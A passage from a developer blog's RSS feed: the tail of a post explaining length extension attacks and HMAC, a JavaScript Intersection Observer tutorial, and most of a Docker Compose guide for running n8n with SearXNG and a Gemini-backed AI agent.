With the length extension attack, a malicious actor can, knowing the &lt;em&gt;length&lt;/em&gt; of the key and an existing valid hash, append new data to the message and generate a new &lt;em&gt;valid&lt;/em&gt; hash without knowing the key. This makes &lt;code&gt;SHA256(key + message)&lt;/code&gt; vulnerable and unsuitable as a MAC, failing to guarantee authenticity.
The standard solution for robust MACs resistant to length extension is &lt;strong&gt;HMAC&lt;/strong&gt; (Hash-based Message Authentication Code).
HMAC transforms any hash function (like SHA-256) into a secure authentication mechanism. It uses the secret key twice in a structured way, preventing the vulnerabilities discussed.&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Intersection Observer: Smooth Animations Without Blocking the Page</title><link>https://didof.dev/blog/intersection-observer/</link><guid isPermaLink="true">https://didof.dev/blog/intersection-observer/</guid><description>Stop using the scroll event for your animations. Discover how Intersection Observer improves performance easily and quickly.</description><pubDate>Wed, 09 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Lab1 from &quot;./lab_1&quot;;
import Lab2 from &quot;./lab_2&quot;;
import Lab3 from &quot;./lab_3&quot;;
import Lab4 from &quot;./lab_4&quot;;&lt;/p&gt;
&lt;h2&gt;The Problem: Jank When You Scroll&lt;/h2&gt;
&lt;p&gt;You know when a scroll-triggered animation makes the page feel choppy? The fault is (almost never) your animation, but how you&apos;re triggering it.&lt;/p&gt;
&lt;p&gt;The problem is JavaScript&apos;s &lt;code&gt;scroll&lt;/code&gt; event. Listening to this event is inefficient because it forces the browser to run your code for &lt;em&gt;every single pixel&lt;/em&gt; of scrolling.&lt;/p&gt;
&lt;p&gt;This overloads the &lt;strong&gt;main thread&lt;/strong&gt;, the &quot;brain&quot; of the web page that handles everything: from rendering graphics and managing layout to running your JavaScript. When the main thread is too busy processing hundreds of &lt;code&gt;scroll&lt;/code&gt; events, it doesn&apos;t have time for anything else. The result? A blocked interface, laggy animations, and a terrible user experience.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;The Solution: The Intersection Observer&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;Intersection Observer&lt;/strong&gt; is the modern, efficient alternative. Instead of constantly asking &quot;where are you?&quot;, you tell the browser: &quot;Notify me only when this element enters the screen.&quot;&lt;/p&gt;
&lt;p&gt;It&apos;s an asynchronous approach that doesn&apos;t block the main thread. The browser does the dirty work for you, in an optimized way, and invokes your function (callback) only at the exact moments it&apos;s needed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why is it better?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Performance:&lt;/strong&gt; It doesn&apos;t flood the main thread with useless events. Your code runs only when necessary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Efficiency:&lt;/strong&gt; You delegate a task to the browser that it knows how to do much better and in an optimized way.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Simplicity:&lt;/strong&gt; The code is often cleaner and easier to read than complex position calculations based on scroll events.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;How It Works&lt;/h2&gt;
&lt;p&gt;To use the Intersection Observer, you create an &quot;observer&quot; and tell it what to watch and when to react.&lt;/p&gt;
&lt;p&gt;You can pass it &lt;code&gt;options&lt;/code&gt; which can contain:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;root&lt;/code&gt;&lt;/strong&gt;: The container element that acts as the &quot;viewport&quot;. If not specified, it&apos;s the browser&apos;s viewport (&lt;code&gt;document.documentElement&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;rootMargin&lt;/code&gt;&lt;/strong&gt;: Allows you to expand or shrink the intersection area of the &lt;code&gt;root&lt;/code&gt;. It&apos;s useful for triggering an action &lt;em&gt;before&lt;/em&gt; the element is actually visible. Think of it like a CSS margin, but for the detection area.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const htmlElement = document.querySelector(&quot;div&quot;);

const observer = new IntersectionObserver(() =&amp;gt; {
  // Do something
});
observer.observe(htmlElement);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You are not required to pass &lt;code&gt;options&lt;/code&gt;. In this case, the callback is called as soon as the &lt;code&gt;&amp;lt;div /&amp;gt;&lt;/code&gt; appears on the screen.&lt;/p&gt;
&lt;p&gt;If you want to pass options, you do so as a second argument.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new IntersectionObserver(callback, {
  root: someWrapper,
  rootMargin: &quot;10px 20px&quot;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the lab below, try using values like &lt;code&gt;100px&lt;/code&gt; (triggers the event 100px early) or &lt;code&gt;-50px&lt;/code&gt; (triggers the event 50px after it has entered).&lt;/p&gt;
&lt;p&gt;&amp;lt;Lab1 client:visible /&amp;gt;&lt;/p&gt;
&lt;p&gt;Another useful option is &lt;code&gt;threshold&lt;/code&gt;. This is one or more numeric values (from 0.0 to 1.0) that define at what percentage of the element&apos;s visibility the observer should react.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt;: As soon as the first pixel becomes visible.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0.5&lt;/code&gt;: When the element is 50% visible.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1&lt;/code&gt;: When the element is fully visible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can also define an array of thresholds to receive notifications at different stages of visibility.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const observer = new IntersectionObserver(callback, {
  // Notify me when the element:
  // - enters (0)
  // - is a quarter visible (0.25)
  // - is halfway visible (0.5)
  // etc.
  threshold: [0, 0.25, 0.5, 0.75, 1],
});

// This function is called every time a threshold is crossed.
function callback([entry]) {
  updateColor(entry.intersectionRatio)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Observe how different thresholds trigger the callback. To understand which threshold you&apos;re at, you can query &lt;code&gt;entry.intersectionRatio&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;Lab2 client:visible /&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Practical Examples&lt;/h2&gt;
&lt;p&gt;Let&apos;s look at two use cases where the &lt;code&gt;Intersection Observer&lt;/code&gt; shines.&lt;/p&gt;
&lt;h3&gt;1. Infinite Scroll&lt;/h3&gt;
&lt;p&gt;Load new content as the user gets close to the end of the page. With the &lt;code&gt;Intersection Observer&lt;/code&gt;, you just need to observe a &quot;trigger&quot; element at the bottom of the list. When it becomes visible, you load more content. Simple and performant.&lt;/p&gt;
&lt;p&gt;&amp;lt;Lab3 client:visible /&amp;gt;&lt;/p&gt;
&lt;h3&gt;2. Lazy Loading Images&lt;/h3&gt;
&lt;p&gt;Why waste bandwidth and slow down the initial load for images the user might never see? With &quot;lazy loading,&quot; the image is downloaded only when it approaches the viewport.&lt;/p&gt;
&lt;p&gt;Here, we observe the image and set a 50% threshold. When the image is halfway visible, we start its download and immediately stop observing it, because its job is done.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const image = document.getElementById(&quot;my-image&quot;);

const observer = new IntersectionObserver(([entry], obs) =&amp;gt; {
  // Has the image entered the observation area?
  if (entry.isIntersecting) {
    // Load the image (e.g., by changing the src attribute)
    image.src = image.dataset.src;

    // Stop observing. The job is done.
    obs.unobserve(image);
  }
}, {
  threshold: 0.5 // Trigger at 50% visibility
});

observer.observe(image);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;Lab4 client:visible /&amp;gt;&lt;/p&gt;
&lt;h2&gt;Cleanup&lt;/h2&gt;
&lt;p&gt;Always remember to remove the observer when it&apos;s no longer needed. You can use &lt;code&gt;observer.disconnect()&lt;/code&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Run n8n and SearXNG Locally with Docker: Build Your Own No-Code AI Playground</title><link>https://didof.dev/blog/setup-n8n-and-searxng-locally/</link><guid isPermaLink="true">https://didof.dev/blog/setup-n8n-and-searxng-locally/</guid><description>Discover how to set up n8n and SearxNG to build a private AI agent for web searches. You&apos;ll have an AI agent that fetches information online without tracking your data. Ideal for those interested in automation and privacy!</description><pubDate>Sun, 20 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;script&amp;gt;
import Collapse from &quot;$lib/components/markdown/collapse.svelte&quot;
import Codeblock from &quot;$lib/components/markdown/codeblock.svelte&quot;
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;We live in a world where anyone with a computer and an internet connection can access AI agents—often at no cost and running on personal machines. In this guide, you&apos;ll learn how to set up a &lt;strong&gt;local no-code environment&lt;/strong&gt; using two open-source tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://n8n.io/&quot;&gt;n8n&lt;/a&gt;&lt;/strong&gt;: A powerful visual automation tool that allows you to quickly prototype and experiment without extensive coding knowledge.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.searxng.org/&quot;&gt;SearXNG&lt;/a&gt;&lt;/strong&gt;: A privacy-focused metasearch engine that aggregates results from various sources. We will integrate it with n8n, enabling an AI agent to retrieve up-to-date web data.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Everything runs &lt;strong&gt;locally with Docker Compose&lt;/strong&gt;, so there&apos;s no need for sign-ups, payments, or data sharing.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This article is part of a series based on insights from my late-night experimentation 🦉. I find this setup empowering and easy to implement, making it accessible for anyone interested in exploring these technologies.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;What You&apos;ll Be Able to Do 🌟&lt;/h2&gt;
&lt;p&gt;By the end of this setup, you&apos;ll have a no-code playground where you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Trigger workflows using n8n’s visual editor.&lt;/li&gt;
&lt;li&gt;Conduct automated searches across the web with SearXNG.&lt;/li&gt;
&lt;li&gt;Build AI-powered workflows effortlessly, such as a fact-checking bot, news summarizer, or research assistant.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Best of all, it’s &lt;strong&gt;100% local and private&lt;/strong&gt;, except for the actual AI processing, which remains free as we will utilize &lt;em&gt;Gemini 2.0 Flash&lt;/em&gt;. In future blog posts, we will explore how to integrate a model like &lt;code&gt;DeepSeek V3&lt;/code&gt; running locally with &lt;code&gt;ollama&lt;/code&gt; into n8n, completing the local setup.&lt;/p&gt;
&lt;p&gt;Before we begin, ensure you have &lt;a href=&quot;https://www.docker.com/products/docker-desktop&quot;&gt;&lt;code&gt;Docker&lt;/code&gt;&lt;/a&gt; installed. This guide will work regardless of your operative system.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you lack a coding background, the next section may seem daunting—but trust me, it’s easier than you might expect. You&apos;ll soon discover how empowering this skill can be!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Step 1: Create Your Docker Compose File 🏗️&lt;/h2&gt;
&lt;p&gt;&amp;lt;Collapse title=&quot;What is Docker? Why are we using it?&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;Before solutions like &lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt; emerged, running software on your computer or a remote server required downloading and setting up multiple components.&lt;/p&gt;
&lt;p&gt;Docker simplifies this process. Developers can create services (websites, servers, databases, etc.) and define a file called &lt;code&gt;Dockerfile&lt;/code&gt;. While you don’t need to understand the details of its creation, it’s important to know that it contains instructions that any computer with Docker can follow to assemble the software on the fly. This pre-packaging includes everything necessary for the software to function, &lt;strong&gt;enhancing replicability&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;/Collapse&amp;gt;&lt;/p&gt;
&lt;p&gt;First, create a folder on your computer (let&apos;s call it &lt;code&gt;workspace&lt;/code&gt;) and add an empty file inside it named &lt;code&gt;docker-compose.yml&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;workspace
└── docker-compose.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The creators of n8n have released a public GitHub repository called &lt;a href=&quot;https://github.com/n8n-io/self-hosted-ai-starter-kit&quot;&gt;Self-hosted AI Starter Kit&lt;/a&gt;. This repository contains a well-structured &lt;code&gt;docker-compose.yml&lt;/code&gt; file. We will &lt;a href=&quot;https://github.com/n8n-io/self-hosted-ai-starter-kit/blob/main/docker-compose.yml#L81-L96&quot;&gt;open it&lt;/a&gt; to identify the components we need. If you&apos;re in a hurry, you can use their version directly, which includes other useful services that I may cover in future blog posts. However, breaking things down can be a valuable mental exercise, especially while learning.&lt;/p&gt;
&lt;p&gt;In their &lt;code&gt;docker-compose.yml&lt;/code&gt;, we will focus on everything related to &lt;code&gt;n8n&lt;/code&gt; and its dependency, &lt;code&gt;Postgres&lt;/code&gt;. We will filter out components related to &lt;code&gt;ollama&lt;/code&gt; (as we will be using the free &lt;em&gt;Gemini 2.0 Flash&lt;/em&gt; model instead) and &lt;code&gt;qdrant&lt;/code&gt; (a vector database that I prefer to replace with &lt;code&gt;pgvector&lt;/code&gt;—stay tuned for more on that).&lt;/p&gt;
&lt;p&gt;&amp;lt;Codeblock title=&quot;Let&apos;s take a look to a possible n8n configuration&quot;  copyToClipboard={false} download={false}&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;n8n:
  hostname: n8n
  container_name: n8n
  image: n8nio/n8n:latest
  networks: [&apos;workspace&apos;]
  environment:
    - DB_TYPE=postgresdb
    - DB_POSTGRESDB_HOST=postgres
    - DB_POSTGRESDB_USER=root
    - DB_POSTGRESDB_PASSWORD=password
    - N8N_DIAGNOSTICS_ENABLED=false
    - N8N_PERSONALIZATION_ENABLED=false
    - N8N_ENCRYPTION_KEY
    - N8N_USER_MANAGEMENT_JWT_SECRET
  restart: unless-stopped
  ports:
    - 5678:5678
  volumes:
    - n8n_storage:/home/node/.n8n
    - ./n8n/backup:/backup
    - ./shared:/data/shared
  depends_on:
    postgres:
      condition: service_healthy
    n8n-import:
      condition: service_completed_successfully
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/Codeblock&amp;gt;&lt;/p&gt;
&lt;p&gt;It depends on &lt;code&gt;Postgres&lt;/code&gt;, so we need to include the database in our configuration. It also relies on &lt;code&gt;n8n-import&lt;/code&gt;. While optional, it allows us to sync n8n&apos;s &lt;strong&gt;workflows&lt;/strong&gt; and &lt;strong&gt;credentials&lt;/strong&gt;. We will retain it in our configuration.&lt;/p&gt;
&lt;p&gt;After running it the first time, you&apos;ll notice a new n8n folder.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;workspace
├── docker-compose.yml
└── n8n
    └── backup
        ├── credentials
        └── workflows
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exposition&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;We instruct the container to allow communication from our computer. n8n exposes its functionality on port &lt;code&gt;5678&lt;/code&gt;. This allows us to access n8n locally in our browser at &lt;code&gt;http://localhost:5678&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ports:
  - 5678:5678
# If you change to &quot;3000:5678&quot;,
# it will be &quot;http://localhost:3000&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Copy the following file inside your &lt;code&gt;docker-compose.yml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;Codeblock title=&quot;docker-compose.yml with only the pieces we need&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;volumes:
  n8n_storage:
  postgres_storage:

networks:
  workspace:

# The attributes listed in x-n8n are needed both for the service n8n and for n8n-import.
# We define it only once, avoiding stupid typos and having less lines.
# It is mergeable in services with the syntax &amp;lt;&amp;lt;: *service-n8n (see below).
x-n8n: &amp;amp;service-n8n
  image: n8nio/n8n:latest
  networks:
    - workspace
  environment:
    - DB_TYPE=postgresdb
    - DB_POSTGRESDB_HOST=postgres
    - DB_POSTGRESDB_USER=${POSTGRES_USER}
    - DB_POSTGRESDB_PASSWORD=${POSTGRES_PASSWORD}
    - N8N_DIAGNOSTICS_ENABLED=false
    - N8N_PERSONALIZATION_ENABLED=false
    - N8N_ENCRYPTION_KEY
    - N8N_USER_MANAGEMENT_JWT_SECRET

services:
  postgres:
    image: postgres:16-alpine
    hostname: postgres
    networks:
      - workspace
    restart: unless-stopped
    environment:
      - POSTGRES_USER
      - POSTGRES_PASSWORD
      - POSTGRES_DB
    volumes:
      - postgres_storage:/var/lib/postgresql/data
    healthcheck:
      test: [&apos;CMD-SHELL&apos;, &apos;pg_isready -h localhost -U ${POSTGRES_USER} -d ${POSTGRES_DB}&apos;]
      interval: 5s
      timeout: 5s
      retries: 10

  # n8n-import only purpose and lifecycle is to read credentials and workflows stored
  # on our computer in the n8n/backup folder and inject them into n8n.
  n8n-import:
    &amp;lt;&amp;lt;: *service-n8n
    hostname: n8n-import
    container_name: n8n-import
    entrypoint: /bin/sh
    command:
      - &apos;-c&apos;
      - &apos;n8n import:credentials --separate --input=/backup/credentials &amp;amp;&amp;amp; n8n import:workflow --separate --input=/backup/workflows&apos;
    volumes:
      - ./n8n/backup:/backup
    depends_on:
      postgres:
        condition: service_healthy

  n8n:
    &amp;lt;&amp;lt;: *service-n8n
    hostname: n8n
    container_name: n8n
    restart: unless-stopped
    ports:
      - 5678:5678
    volumes:
      - n8n_storage:/home/node/.n8n
      - ./n8n/backup:/backup
      - ./shared:/data/shared
    depends_on:
      postgres:
        condition: service_healthy
      n8n-import:
        condition: service_completed_successfully
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/Codeblock&amp;gt;&lt;/p&gt;
&lt;p&gt;It’s time to instruct Docker to download and run these services. The first time you do this, it may take a few minutes as it needs to download the necessary components. However, Docker caches these images by default, so subsequent restarts will be much faster.&lt;/p&gt;
&lt;p&gt;Open your terminal and run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose up
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command serves as the ignition for your engine. When you want to shut down the services, simply run &lt;code&gt;docker compose down&lt;/code&gt;. If this is your first time executing a setup like this and it works successfully, take a moment to pause and celebrate!&lt;/p&gt;
&lt;h2&gt;Step 2: Create n8n AI Agent with Gemini 2.0 Flash 🧠&lt;/h2&gt;
&lt;p&gt;The previous command has filled your terminal with numerous logs. At the end of these logs, you should see the &lt;code&gt;n8n&lt;/code&gt; container indicating that it is listening on &lt;code&gt;http://localhost:5678&lt;/code&gt;. Enter this URL in your browser, and you should see the n8n authentication screen. For the first time, you will need to create an account. Rest assured, the email and password you provide will not be sent to the internet; they will remain on your machine, stored in the Postgres database we set up earlier.&lt;/p&gt;
&lt;p&gt;Before we create our AI agent, we need to find a &quot;brain&quot; for it. Visit &lt;a href=&quot;https://aistudio.google.com/apikey&quot;&gt;aistudio.google.com&lt;/a&gt; and create a free API key for &lt;strong&gt;Gemini 2.0 Flash&lt;/strong&gt; (it is free at the time of writing).&lt;/p&gt;
&lt;p&gt;Make sure to copy the API key, as it will not be displayed again. You will need to provide it when creating the n8n credential.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./create_api_key.png&quot; alt=&quot;Create Gemini 2.0 Flash API key&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, we will add the following nodes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Trigger chat&lt;/li&gt;
&lt;li&gt;AI agent&lt;/li&gt;
&lt;li&gt;Model: Gemini 2.0 Flash&lt;/li&gt;
&lt;li&gt;(optional) Simple Memory&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./ai_agent.png&quot; alt=&quot;AI Agent&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, let’s test the chat by asking it something.&lt;/p&gt;
&lt;p&gt;&amp;lt;video width=&quot;720&quot; height=&quot;382&quot; controls class=&quot;rounded shadow-md bg-base-300 border-2 border-secondary/60 w-full&quot;&amp;gt;
&amp;lt;source src=&quot;/videos/n8n_create_simple_ai_agent.mp4&quot; type=&quot;video/mp4&quot;&amp;gt;
Your browser does not support the video tag.
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;p&gt;Great! By now, you have essentially recreated an interface for that model.&lt;/p&gt;
&lt;p&gt;But you know what’s even cooler than a highly intelligent brain trapped in a box? A highly intelligent brain that can retrieve fresh information from the web.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 3: Setup locally SearXNG&lt;/h2&gt;
&lt;p&gt;There is a useful public GitHub repository named &lt;a href=&quot;https://github.com/searxng/searxng-docker&quot;&gt;searxng/searxng-docker&lt;/a&gt; that contains a &lt;code&gt;docker-compose.yml&lt;/code&gt; file. Similar to what we did for n8n, we will extract what we need from this repository. In this case, we will be using everything, which will need to be properly merged with the &lt;code&gt;docker-compose.yml&lt;/code&gt; we previously assembled.&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;Caddyfile&lt;/code&gt; in the folder.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;workspace
├── docker-compose.yml
├── Caddyfile
└── n8n
    └── backup
        ├── credentials
        └── workflows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And add the following inside.&lt;/p&gt;
&lt;p&gt;&amp;lt;Codeblock title=&quot;Caddyfile&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
	admin off

	log {
		output stderr
		format filter {
			# Preserves first 8 bits from IPv4 and 32 bits from IPv6
			request&amp;gt;remote_ip ip_mask 8 32
			request&amp;gt;client_ip ip_mask 8 32

			# Remove identificable information
			request&amp;gt;remote_port delete
			request&amp;gt;headers delete
			request&amp;gt;uri query {
				delete url
				delete h
				delete q
			}
		}
	}
}

{$SEARXNG_HOSTNAME}

tls {$SEARXNG_TLS}

encode zstd gzip

@api {
	path /config
	path /healthz
	path /stats/errors
	path /stats/checker
}

@search {
	path /search
}

@imageproxy {
	path /image_proxy
}

@static {
	path /static/*
}

header {
	# CSP (https://content-security-policy.com)
	Content-Security-Policy &quot;upgrade-insecure-requests; default-src &apos;none&apos;; script-src &apos;self&apos;; style-src &apos;self&apos; &apos;unsafe-inline&apos;; form-action &apos;self&apos; https://github.com/searxng/searxng/issues/new; font-src &apos;self&apos;; frame-ancestors &apos;self&apos;; base-uri &apos;self&apos;; connect-src &apos;self&apos; https://overpass-api.de; img-src * data:; frame-src https://www.youtube-nocookie.com https://player.vimeo.com https://www.dailymotion.com https://www.deezer.com https://www.mixcloud.com https://w.soundcloud.com https://embed.spotify.com;&quot;

	# Disable some browser features
	Permissions-Policy &quot;accelerometer=(),camera=(),geolocation=(),gyroscope=(),magnetometer=(),microphone=(),payment=(),usb=()&quot;

	# Set referrer policy
	Referrer-Policy &quot;no-referrer&quot;

	# Force clients to use HTTPS
	Strict-Transport-Security &quot;max-age=31536000&quot;

	# Prevent MIME type sniffing from the declared Content-Type
	X-Content-Type-Options &quot;nosniff&quot;

	# X-Robots-Tag (comment to allow site indexing)
	X-Robots-Tag &quot;noindex, noarchive, nofollow&quot;

	# Remove &quot;Server&quot; header
	-Server
}

header @api {
	Access-Control-Allow-Methods &quot;GET, OPTIONS&quot;
	Access-Control-Allow-Origin &quot;*&quot;
}

route {
	# Cache policy
	header Cache-Control &quot;max-age=0, no-store&quot;
	header @search Cache-Control &quot;max-age=5, private&quot;
	header @imageproxy Cache-Control &quot;max-age=604800, public&quot;
	header @static Cache-Control &quot;max-age=31536000, public, immutable&quot;
}

# SearXNG (uWSGI)
reverse_proxy localhost:8080 {
	header_up X-Forwarded-Port {http.request.port}
	header_up X-Real-IP {http.request.remote.host}

	# https://github.com/searx/searx-docker/issues/24
	header_up Connection &quot;close&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/Codeblock&amp;gt;&lt;/p&gt;
&lt;p&gt;For the sake of conciseness, here is the final &lt;code&gt;docker-compose.yml&lt;/code&gt;. It adds &lt;code&gt;caddy&lt;/code&gt; and &lt;code&gt;redis&lt;/code&gt; to support to &lt;code&gt;searxng&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;Codeblock title=&quot;Final docker-compose.yml&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;volumes:
  n8n_storage:
  postgres_storage:
  caddy-data:
  caddy-config:
  valkey-data2:

networks:
  workspace:

# The attributes listed in x-n8n are needed both for the service n8n and for n8n-import.
# We define it only once, avoiding stupid typos and having less lines.
# It is mergeable in services with the syntax &amp;lt;&amp;lt;: *service-n8n (see below).
x-n8n: &amp;amp;service-n8n
  image: n8nio/n8n:latest
  networks:
    - workspace
  environment:
    - DB_TYPE=postgresdb
    - DB_POSTGRESDB_HOST=postgres
    - DB_POSTGRESDB_USER=${POSTGRES_USER}
    - DB_POSTGRESDB_PASSWORD=${POSTGRES_PASSWORD}
    - N8N_DIAGNOSTICS_ENABLED=false
    - N8N_PERSONALIZATION_ENABLED=false
    - N8N_ENCRYPTION_KEY
    - N8N_USER_MANAGEMENT_JWT_SECRET

services:
  postgres:
    image: postgres:16-alpine
    hostname: postgres
    networks:
      - workspace
    restart: unless-stopped
    environment:
      - POSTGRES_USER
      - POSTGRES_PASSWORD
      - POSTGRES_DB
    volumes:
      - postgres_storage:/var/lib/postgresql/data
    healthcheck:
      test: [&apos;CMD-SHELL&apos;, &apos;pg_isready -h localhost -U ${POSTGRES_USER} -d ${POSTGRES_DB}&apos;]
      interval: 5s
      timeout: 5s
      retries: 10

  # n8n-import only purpose and lifecycle is to read credentials and workflows stored
  # on our computer in the n8n/backup folder and inject them into n8n.
  n8n-import:
    &amp;lt;&amp;lt;: *service-n8n
    hostname: n8n-import
    container_name: n8n-import
    entrypoint: /bin/sh
    command:
      - &apos;-c&apos;
      - &apos;n8n import:credentials --separate --input=/backup/credentials &amp;amp;&amp;amp; n8n import:workflow --separate --input=/backup/workflows&apos;
    volumes:
      - ./n8n/backup:/backup
    depends_on:
      postgres:
        condition: service_healthy

  n8n:
    &amp;lt;&amp;lt;: *service-n8n
    hostname: n8n
    container_name: n8n
    restart: unless-stopped
    ports:
      - 5678:5678
    volumes:
      - n8n_storage:/home/node/.n8n
      - ./n8n/backup:/backup
      - ./shared:/data/shared
    depends_on:
      postgres:
        condition: service_healthy
      n8n-import:
        condition: service_completed_successfully
  
  caddy:
    container_name: caddy
    image: docker.io/library/caddy:2-alpine
    networks:
      - workspace
    restart: unless-stopped
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - caddy-data:/data:rw
      - caddy-config:/config:rw
    environment:
      - SEARXNG_HOSTNAME=${SEARXNG_HOSTNAME:-http://localhost:8080}
      - SEARXNG_TLS=${LETSENCRYPT_EMAIL:-internal}
    cap_drop:
      - ALL
    cap_add:
      - NET_BIND_SERVICE
    logging:
      driver: &apos;json-file&apos;
      options:
        max-size: &apos;1m&apos;
        max-file: &apos;1&apos;

  redis:
    container_name: redis
    image: docker.io/valkey/valkey:8-alpine
    command: valkey-server --save 30 1 --loglevel warning
    restart: unless-stopped
    networks:
      - workspace
    volumes:
      - valkey-data2:/data
    cap_drop:
      - ALL
    cap_add:
      - SETGID
      - SETUID
      - DAC_OVERRIDE
    logging:
      driver: &apos;json-file&apos;
      options:
        max-size: &apos;1m&apos;
        max-file: &apos;1&apos;

  searxng:
    container_name: searxng
    image: docker.io/searxng/searxng:latest
    restart: unless-stopped
    networks:
      - workspace
    ports:
      - &apos;8080:8080&apos;
    volumes:
      - ./searxng:/etc/searxng:rw
    environment:
      - SEARXNG_BASE_URL=https://${SEARXNG_HOSTNAME:-localhost:8080}/
      - UWSGI_WORKERS=${SEARXNG_UWSGI_WORKERS:-4}
      - UWSGI_THREADS=${SEARXNG_UWSGI_THREADS:-4}
    cap_drop:
      - ALL
    cap_add:
      - CHOWN
      - SETGID
      - SETUID
    logging:
      driver: &apos;json-file&apos;
      options:
        max-size: &apos;1m&apos;
        max-file: &apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/Codeblock&amp;gt;&lt;/p&gt;
&lt;p&gt;First, you should switch off the machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose down
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, update the contents of your &lt;code&gt;docker-compose.yml&lt;/code&gt;. Finally, restart everything.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose up
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will download the necessary components and make the service available at &lt;code&gt;http://localhost:8080&lt;/code&gt;. When you access this URL in your browser, you will find a simple interface to use the service.&lt;/p&gt;
&lt;p&gt;After executing an initial query, you will see that it exposes an endpoint &lt;code&gt;GET /search&lt;/code&gt;. This endpoint requires a query parameter named &lt;code&gt;q&lt;/code&gt;, which should contain the search query. From the side panels, you can also add optional query parameters to control aspects like &lt;code&gt;time_range&lt;/code&gt; (with options such as &lt;code&gt;day&lt;/code&gt;, &lt;code&gt;month&lt;/code&gt;, or &lt;code&gt;year&lt;/code&gt;). We can also specify the &lt;code&gt;language&lt;/code&gt; and &lt;code&gt;safesearch&lt;/code&gt;. For more info about customization refer to &lt;a href=&quot;https://docs.searxng.org/dev/search_api.html&quot;&gt;SearXNG official docs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;video width=&quot;720&quot; height=&quot;362&quot; controls class=&quot;rounded shadow-md bg-base-300 border-2 border-secondary/60 w-full&quot;&amp;gt;
